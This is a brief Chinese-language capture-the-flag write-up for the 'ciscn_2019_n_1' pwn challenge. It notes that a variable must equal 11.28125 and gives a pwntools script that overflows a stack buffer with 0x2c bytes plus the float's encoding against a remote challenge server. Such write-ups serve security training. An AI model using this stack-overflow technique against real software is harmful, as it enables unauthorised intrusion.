ciscn_2019_n_1

 伪代码

只要让v2等于11.28125就可以了

找到11.28125在程序中的表达

利用脚本如下

from pwn import *

r=remote('node3.buuoj.cn',25989)

payload='a'*0x2c+p64(0x41348000)
r.recvuntil("Let's guess the number.")
r.sendline(payload)

r.interactive()